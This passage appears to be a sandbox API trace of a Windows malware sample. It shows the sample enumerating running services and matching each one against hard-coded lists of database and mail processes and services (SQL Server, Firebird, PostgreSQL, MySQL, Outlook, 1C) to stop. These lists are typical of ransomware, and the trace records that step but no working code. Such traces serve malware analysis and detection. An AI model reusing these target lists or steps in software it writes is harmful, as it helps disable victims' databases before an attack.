GetACP () returned 0x4e4 [0119.502] GetACP () returned 0x4e4 [0119.502] Sleep (dwMilliseconds=0x0) [0120.164] RtlExitUserThread (Status=0x0) Thread: id = 833 os_tid = 0x1b9c [0119.503] GetACP () returned 0x4e4 [0119.503] GetACP () returned 0x4e4 [0119.503] Sleep (dwMilliseconds=0x0) [0120.165] RtlExitUserThread (Status=0x0) Thread: id = 834 os_tid = 0x1ba0 [0119.503] GetACP () returned 0x4e4 [0119.503] GetACP () returned 0x4e4 [0119.503] Sleep (dwMilliseconds=0x0) [0120.166] RtlExitUserThread (Status=0x0) Thread: id = 835 os_tid = 0x1ba4 [0119.504] GetACP () returned 0x4e4 [0119.504] GetACP () returned 0x4e4 [0119.504] Sleep (dwMilliseconds=0x0) [0120.166] RtlExitUserThread (Status=0x0) Thread: id = 836 os_tid = 0x1ba8 [0119.504] GetACP () returned 0x4e4 [0119.504] GetACP () returned 0x4e4 [0119.504] Sleep (dwMilliseconds=0x0) [0120.167] RtlExitUserThread (Status=0x0) Thread: id = 837 os_tid = 0x1bac [0119.504] GetACP () returned 0x4e4 [0119.504] GetACP () returned 0x4e4 [0119.504] Sleep (dwMilliseconds=0x0) [0120.168] RtlExitUserThread (Status=0x0) Thread: id = 838 os_tid = 0x1bb0 [0119.505] GetACP () returned 0x4e4 [0119.505] GetACP () returned 0x4e4 [0119.505] Sleep (dwMilliseconds=0x0) [0120.168] RtlExitUserThread (Status=0x0) Thread: id = 839 os_tid = 0x1bb4 [0119.505] GetACP () returned 0x4e4 [0119.505] GetACP () returned 0x4e4 [0119.505] Sleep (dwMilliseconds=0x0) [0120.169] RtlExitUserThread (Status=0x0) Thread: id = 840 os_tid = 0x1bb8 [0119.506] GetACP () returned 0x4e4 [0119.506] GetACP () returned 0x4e4 [0119.506] Sleep (dwMilliseconds=0x0) [0120.170] RtlExitUserThread (Status=0x0) Thread: id = 841 os_tid = 0x1bbc [0119.506] GetACP () returned 0x4e4 [0119.506] GetACP () returned 0x4e4 [0119.506] Sleep (dwMilliseconds=0x0) [0120.170] RtlExitUserThread (Status=0x0) Thread: id = 842 os_tid = 0x1bc0 [0119.507] GetACP () returned 0x4e4 [0119.507] GetACP () returned 0x4e4 [0119.507] Sleep (dwMilliseconds=0x0) [0120.171] RtlExitUserThread (Status=0x0) Thread: id = 844 os_tid = 0x1bf0 [0122.395] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6572a0 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6572a0, Size=0x20) returned 0x5deb60 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deb60, Size=0x40) returned 0x5b22f0 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b22f0, Size=0x80) returned 0x5e2e48 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2e48, Size=0x100) returned 0x5e9738 [0122.395] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6572b8 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6572b8, Size=0x20) returned 0x5deb60 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deb60, Size=0x40) returned 0x5b22f0 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b22f0, Size=0x80) returned 0x5e2980 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2980, Size=0x100) returned 0x5e8be0 [0122.395] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x657258 [0122.395] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x656240 [0122.395] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6572a0 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656240, Size=0x8) returned 0x6562f0 [0122.395] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b81e8 [0122.395] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6562f0, Size=0x10) returned 0x6572b8 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b8248 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5deb60 [0122.396] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6572b8, Size=0x20) returned 0x5e37f8 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c) returned 0x5e3a00 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x16) returned 0x5b7fa8 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5e38e8 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6572b8 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x656240 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40) returned 0x5b22f0 [0122.396] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656240, Size=0x8) returned 0x656200 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3c) returned 0x5b2338 [0122.396] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656200, Size=0x10) returned 0x6572d0 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b8088 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b81a8 [0122.396] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6572d0, Size=0x20) returned 0x5e3910 [0122.396] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5b6ef0 [0122.396] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0122.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e9738 | out: hHeap=0x5a0000) returned 1 [0122.396] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0122.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e8be0 | out: hHeap=0x5a0000) returned 1 [0122.396] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3960 [0122.397] EnumServicesStatusExW (in: hSCManager=0x5e3960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0122.397] GetLastError () returned 0xea [0122.397] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1ce8) returned 0x646f08 [0122.397] EnumServicesStatusExW (in: hSCManager=0x5e3960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x646f08, cbBufSize=0x1ce8, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x646f08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0122.398] CloseServiceHandle (hSCObject=0x5e3960) returned 1 [0122.398] lstrlenW (lpString="Appinfo") returned 7 [0122.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0122.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0122.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0122.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0122.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0122.398] lstrlenW (lpString="AppXSvc") returned 7 [0122.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0122.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0122.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0122.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0122.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0122.399] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0122.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0122.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0122.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0122.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0122.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0122.399] lstrlenW (lpString="Audiosrv") returned 8 [0122.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0122.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0122.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0122.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0122.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0122.399] lstrlenW (lpString="BFE") returned 3 [0122.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0122.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0122.399] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0122.399] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0122.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0122.399] lstrlenW (lpString="BITS") returned 4 [0122.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0122.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0122.399] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0122.399] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0122.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0122.399] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0122.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0122.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0122.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0122.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0122.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0122.400] lstrlenW (lpString="CDPSvc") returned 6 [0122.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0122.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0122.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0122.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0122.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0122.400] lstrlenW (lpString="ClickToRunSvc") returned 13 [0122.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0122.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0122.400] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0122.400] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0122.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0122.400] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0122.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0122.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0122.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0122.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0122.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0122.400] lstrlenW (lpString="CryptSvc") returned 8 [0122.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0122.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0122.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0122.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0122.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0122.401] lstrlenW (lpString="DcomLaunch") returned 10 [0122.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0122.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0122.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0122.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0122.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0122.401] lstrlenW (lpString="DeviceAssociationService") returned 24 [0122.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0122.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0122.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0122.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0122.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0122.401] lstrlenW (lpString="Dhcp") returned 4 [0122.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0122.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0122.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0122.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0122.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0122.401] lstrlenW (lpString="Dnscache") returned 8 [0122.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0122.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0122.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0122.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0122.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0122.401] lstrlenW (lpString="DoSvc") returned 5 [0122.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0122.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0122.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0122.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0122.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0122.401] lstrlenW (lpString="DPS") returned 3 [0122.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0122.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0122.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0122.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0122.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0122.402] lstrlenW (lpString="DusmSvc") returned 7 [0122.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0122.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0122.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0122.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0122.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0122.402] lstrlenW (lpString="EventLog") returned 8 [0122.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0122.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0122.402] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0122.402] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0122.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0122.402] lstrlenW (lpString="EventSystem") returned 11 [0122.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0122.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0122.402] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0122.402] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0122.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0122.402] lstrlenW (lpString="FontCache") returned 9 [0122.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0122.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0122.402] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0122.402] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0122.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0122.402] lstrlenW (lpString="gpsvc") returned 5 [0122.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0122.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0122.402] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0122.403] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0122.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0122.403] lstrlenW (lpString="iphlpsvc") returned 8 [0122.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0122.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0122.403] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0122.403] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0122.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0122.403] lstrlenW (lpString="KeyIso") returned 6 [0122.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0122.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0122.403] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0122.403] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0122.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0122.403] lstrlenW (lpString="LanmanServer") returned 12 [0122.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0122.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0122.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0122.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0122.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0122.403] lstrlenW (lpString="LanmanWorkstation") returned 17 [0122.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0122.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0122.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0122.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0122.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0122.403] lstrlenW (lpString="lfsvc") returned 5 [0122.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0122.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0122.403] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0122.403] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0122.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0122.403] lstrlenW (lpString="lmhosts") returned 7 [0122.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0122.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0122.404] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0122.404] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0122.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0122.404] lstrlenW (lpString="LSM") returned 3 [0122.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0122.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0122.404] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0122.404] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0122.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0122.404] lstrlenW (lpString="MpsSvc") returned 6 [0122.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0122.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0122.404] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0122.404] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0122.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0122.404] lstrlenW (lpString="NcbService") returned 10 [0122.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0122.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0122.404] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0122.404] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0122.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0122.404] lstrlenW (lpString="netprofm") returned 8 [0122.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0122.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0122.404] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0122.404] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0122.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0122.404] lstrlenW (lpString="NlaSvc") returned 6 [0122.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0122.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0122.404] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0122.404] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0122.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0122.404] lstrlenW (lpString="nsi") returned 3 [0122.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0122.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0122.405] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0122.405] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0122.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0122.405] lstrlenW (lpString="PcaSvc") returned 6 [0122.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0122.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0122.405] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0122.405] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0122.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0122.405] lstrlenW (lpString="PlugPlay") returned 8 [0122.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0122.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0122.405] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0122.405] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0122.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0122.405] lstrlenW (lpString="Power") returned 5 [0122.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0122.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0122.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0122.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0122.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0122.405] lstrlenW (lpString="ProfSvc") returned 7 [0122.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0122.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0122.405] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0122.405] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0122.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0122.405] lstrlenW (lpString="RpcEptMapper") returned 12 [0122.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0122.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0122.406] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0122.406] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0122.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0122.417] lstrlenW (lpString="RpcSs") returned 5 [0122.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0122.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0122.417] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0122.417] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0122.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0122.417] lstrlenW (lpString="SamSs") returned 5 [0122.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0122.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0122.417] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0122.417] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0122.417] 